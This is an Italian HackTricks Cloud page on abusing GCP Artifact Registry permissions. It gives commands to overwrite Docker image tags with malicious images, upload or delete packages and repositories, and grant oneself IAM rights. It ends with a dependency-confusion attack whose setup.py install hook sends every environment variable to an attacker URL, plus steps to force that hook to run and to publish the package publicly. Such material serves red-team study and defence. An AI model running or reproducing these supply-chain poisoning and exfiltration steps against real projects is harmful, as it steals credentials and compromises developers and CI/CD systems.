GCP - Artifact Registry Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Artifact Registry
Per maggiori informazioni su Artifact Registry, consulta:
artifactregistry.repositories.uploadArtifacts
Con questo permesso un attacker potrebbe caricare nuove versioni degli artifact contenenti codice malevolo, come Docker images:
Caricare un Docker image su Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che l'immagine con quel tag verrà **scaricata**, sarà scaricata quella dannosa.
<details>
<summary>Carica una libreria Python</summary>
**Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registry puoi evitare questo passaggio):
1. **Configura la struttura del progetto**:
- Crea una nuova directory per la tua libreria, ad es. `hello_world_library`.
- All'interno di questa directory, crea un'altra directory con il nome del pacchetto, p.es. `hello_world`.
- All'interno della directory del tuo pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il pacchetto.
<details>
<summary>Create project structure</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Scrivi il codice della libreria:
- All’interno della directory
hello_world, crea un nuovo file Python per il modulo, p.es.greet.py. - Scrivi la funzione “Hello, World!”:
Create library module
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Crea un file
setup.py:
- Nella root della directory
hello_world_library, crea un filesetup.py. - Questo file contiene i metadati della libreria e dice a Python come installarla.
Create setup.py file
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Ora, carichiamo la libreria:
- Costruisci il pacchetto:
- Dalla root della directory
hello_world_library, esegui:
Build Python package
python3 setup.py sdist bdist_wheel
- Configura l’autenticazione per twine (usato per caricare il tuo pacchetto):
- Assicurati di avere
twineinstallato (pip install twine). - Usa
gcloudper configurare le credenziali:
Carica il pacchetto con twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Pulisci la build
Pulisci gli artefatti della build
```bash rm -rf dist build hello_world.egg-info ```Caution
Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare versioni maggiori (o aggiungere un ulteriore
.0alla fine della versione se funziona -non però in python-), o eliminare l’ultima versione e caricarne una nuova con (necessarioartifactregistry.versions.delete):Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Con questo permesso puoi scaricare artifacts e cercare informazioni sensibili e vulnerabilità.
Download a Docker image:
Scarica immagine Docker da Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Scarica una libreria **python**:
<details>
<summary>Scarica una libreria Python da Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Cosa succede se un registry remoto e uno standard sono mescolati in uno virtuale e un pacchetto esiste in entrambi? Consulta questa pagina:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Elimina artefatti dal registry, come docker images:
Elimina Docker image da Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Elimina un repository completo (anche se contiene contenuti):
Elimina Artifact Registry repository
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Un attacker con questo permesso potrebbe concedersi permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
Quando viene creata una Cloud Function, una nuova immagine docker viene caricata nell’Artifact Registry del progetto. Ho provato a modificare l’immagine con una nuova e perfino a cancellare l’immagine corrente (e l’immagine cache) ma niente è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere possibile abusare di una Race Condition come con il bucket per cambiare il container docker che verrà eseguito, ma la semplice modifica dell’immagine memorizzata non è sufficiente per compromettere la Cloud Function.
- App Engine
Anche se App Engine crea immagini docker dentro Artifact Registry. È stato testato che anche se modifichi l’immagine all’interno di questo servizio e rimuovi l’istanza di App Engine (così ne viene distribuita una nuova), il codice eseguito non cambia.
Potrebbe essere possibile che eseguendo una Race Condition come con i buckets sia possibile sovrascrivere il codice eseguito, ma questo non è stato testato.
artifactregistry.repositories.update
Un attacker non ha bisogno di permessi specifici su Artifact Registry per sfruttare questo problema—serve solo una configurazione di virtual repository vulnerabile. Questo accade quando un virtual repository combina un repository remoto pubblico (es. PyPI, npm) con uno interno, e la sorgente remota ha priorità uguale o superiore. Se entrambi contengono un pacchetto con lo stesso nome, il sistema seleziona la versione più alta. L’attacker deve solo conoscere il nome del pacchetto interno e poter pubblicare pacchetti sul corrispondente registry pubblico.
Con il permesso artifactregistry.repositories.update, un attacker potrebbe modificare le impostazioni upstream di un virtual repository per creare intenzionalmente questa configurazione vulnerabile e usare Dependency Confusion come metodo di persistenza inserendo pacchetti malevoli che gli sviluppatori o i sistemi CI/CD potrebbero installare automaticamente.
L’attacker crea una versione malevola del pacchetto interno nel repository pubblico con un numero di versione più alto. Per i pacchetti Python, questo significa preparare una struttura del pacchetto che imiti quella legittima.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Viene quindi creato un file setup.py contenente codice malevolo che verrà eseguito durante l’installazione. Questo file deve specificare un numero di versione superiore a quello presente nel repository privato.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Costruisci il package ed elimina la wheel per garantire che il codice venga eseguito durante l’installazione.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Carica il pacchetto malevolo nel repository pubblico (ad esempio, test.pypi.org per Python).
pip install twine
twine upload --repository testpypi dist/*
Quando un sistema o servizio installa il pacchetto utilizzando il repository virtuale, scaricherà la versione malevola dal repository pubblico anziché da quella interna legittima, perché la versione malevola ha un numero di versione più alto e il repository remoto ha priorità uguale o superiore.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

